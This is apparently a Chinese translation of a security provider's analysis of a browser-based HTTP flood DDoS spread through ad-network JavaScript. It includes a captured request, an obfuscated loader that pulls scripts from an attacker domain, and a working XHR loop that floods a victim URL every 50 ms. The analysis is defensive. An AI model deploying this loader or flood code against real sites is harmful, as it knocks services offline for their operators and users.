以下是其中的一个请求:
POST /js/404.js HTTP/1.1 Host: www.victim.com Connection: keep-alive Content-Length: 426 Origin: http://attacksite.com User-Agent: Mozilla/5.0 (Linux; U; Android 4.4.4; zh-cn; MI 4LTE Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/42.0.0.0 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1 Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://attacksite.com/html/part/86.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,en-US;q=0.8 id=datadatadasssssssssssssssssssssssssssssssssssssssssssassssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadatadata
我们收到上百万相同的请求,这清楚的表明了这是一起DDoS攻击。接下来我们仔细分析下这个请求。
首先,这个请求头看起来是合法的。 我们日常工作中经常看到使用Python或者Ruby脚本发起DDoS攻击,其中的Accept-Language和User-Agent就很奇怪,一眼就能看出有问题。但是这个请求看起来又不是这样,从这个请求头信息中看来就是真实浏览器发出的请求。
接下来,注意POST请求以及Origin,有一个Ajax (XHR)交叉起源调用产生的
最后,Referer指向发起请求的服务器页面,该URL正确且能正常访问
基于浏览器的L7洪水攻击早前一直是作为一种理论威胁提醒着我们,你可以查看 Nick Sullivan的介绍 进行进一步了解。
最早是Lavakumar Kuppan2010年提出通过滥用 HTML5浏览器特性 (PDF)进行DDoS攻击,接着在2013年 Jeremiah Grossman 以及Matt Johansen (PDF)提出在恶意JavaScript中将网络广告作为一种分布向量,今年又有一篇论文对此类 攻击的成本 (PDF)进行了一系列讨论。
最后,今年4月份又有报道称 Great Cannon (PDF)采用新方法分发JavaScript——通过将raw TCP段注入经过的连接。就在本周存在 漏洞 的Imgur图片托管站点就被利用来攻击另一个站点。
最令人感到兴奋的是,本次攻击的规模很大,达到了每秒275000个HTTP请求。
根据Referer头信息,我们研究了洪水源。
来自Referer信息中的web页面看起来就像一个链接农场,或者就像是一个广告聚合阅读器。为了方便讨论,我们下面称之为“攻击站点”,该页面是用HTML写的,其中加入了三两个JavaScript。加载了3个JavaScript文件,其中一个名为count.js,其包含了少量我们不易察觉的document.write语句,且有混淆代码:
eval(function(p,a,c,k,e,r){e=String;if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'[0-8]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('//b'+e(c)+'//b','g'),k[c]);return p}('2.3("<0 4=//"5://6.anotherattacksite.7/8/1/jquery2.1//"></0>");2.3("<0 4=//"5://6.anotherattacksite.7/8/1/jquery1.1//"></0>");',[],9,'script|js|document|writeln|src|http|www|com|css'.split('|'),0,{}))
将其丢入 Js Beautifier ,获得结果:
document.writeln("<script src=/"http://www.anotherattacksite.com/css/js/jquery2.js/"></script>"); document.writeln("<script src=/"http://www.anotherattacksite.com/css/js/jquery1.js/"></script>");
原来jquery2.js也包含一个恶意JavaScript,这并不复杂,请看下面的一个片段:
var t_postdata='id=datadatadasssssssssssssssssssssssssssssssssssssssssssassssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssadatadata'; var t_url8='http://www.victim.com/js/404.js'; function post_send() { var xmlHttp=c_xmlHttp(); xmlHttp.open("POST",t_url8,true); xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xmlHttp.send(t_postdata); r_send(); } function r_send() { setTimeout("post_send()", 50); } if(!+[1,]) { //IE下不执行。 var fghj=1; } else { setTimeout("post_send()", 3000); }
上面的恶意JavaScript,在循环中启用了XHR。
可以看出恶意代码作者使用了一个十分聪明的方法检测IE,之前我们还没有搞懂“if(!+[1,])”是可以用来检测Internet Explorer 9及向上版本的。
如图所示,在那天我们收到了来自65万独立IP发起的45亿次请求!
因为这次攻击十分有趣,我们专门写了一个脚本来进一步分析这个17M日志行(大约是总请求的0.4%)
没错这次DDoS来自天朝:
99.8% China 0.2% other
我们的系统可以从user agent中提取设备类型,80%的请求来自移动设备:
72% mobile 23% desktop 5% tablet
引用的URLs没有一个固定格式,攻击者拥有大量的域名:
27.0% http://www.attacksite1.com 10.1% http://www.attacksite2.com 8.2% http://www.attacksite3.com 3.7% http://www.attacksite4.com 1.6% http://www.attacksite5.com 1.2% http://www.attacksite6.com ...
user agents是出了名的难以分析,但是我们还是发现了一些乐子:
Thunder.Mozilla/5.0 (Linux; U; Android 4.1.1; zh-cn; MI 2S Build/JRO03L) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H143 iThunder Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36 SE 2.X MetaSr 1.0 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36 F1Browser Yunhai Browser Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.69 Safari/537.36 QQBrowser/9.0.3100.400 Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36 2345Explorer/6.1.0.8631 Mozilla/5.0 (Linux; U; Android 4.4.4; zh-CN; MI 3 Build/KTU84P) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/10.6.2.626 U3/0.8.0 Mobile Safari/534.3
类似"iThunder"字符串的请求可能是来自某个App,另外像"MetaSr", "F1Browser", "QQBrowser", "2345Explorer" 以及"UCBrowser"指向浏览器或者在中国十分受欢迎的浏览器App
这只是确凿证据中的一部分,同时也是我们猜测的开始。目前对于为何会有这么多的移动设备访问到攻击页面,最合理的解释大概就是广告联盟了。看起来似乎就是用户访问的广告服务中包含了恶意JavaScript,这个广告服务存在于移动App的iframes中,或者用户使用浏览器浏览的某些大流量网站中。
从本次攻击的数据包中我们可以确定一件事情,那就是攻击并不涉及TCP数据包注入。
回顾下,我们认为这中间发生了:
1.用户只是随意的浏览网页信息,或者只是在智能手机上打开App应用。 2.用户触发了广告中的iframe 3.广告内容请求来自于一个广告联盟 4.广告联盟转发请求到第三方获取广告盈利 5.要么第三方网站是“攻击页面”或者是第三方网站将用户转发到一个“攻击页面”
这种攻击未来会成为一种新的趋势,其在互联网上呈现出了极大威胁,对于小型网站运营者防御此类攻击绝对是力不从心。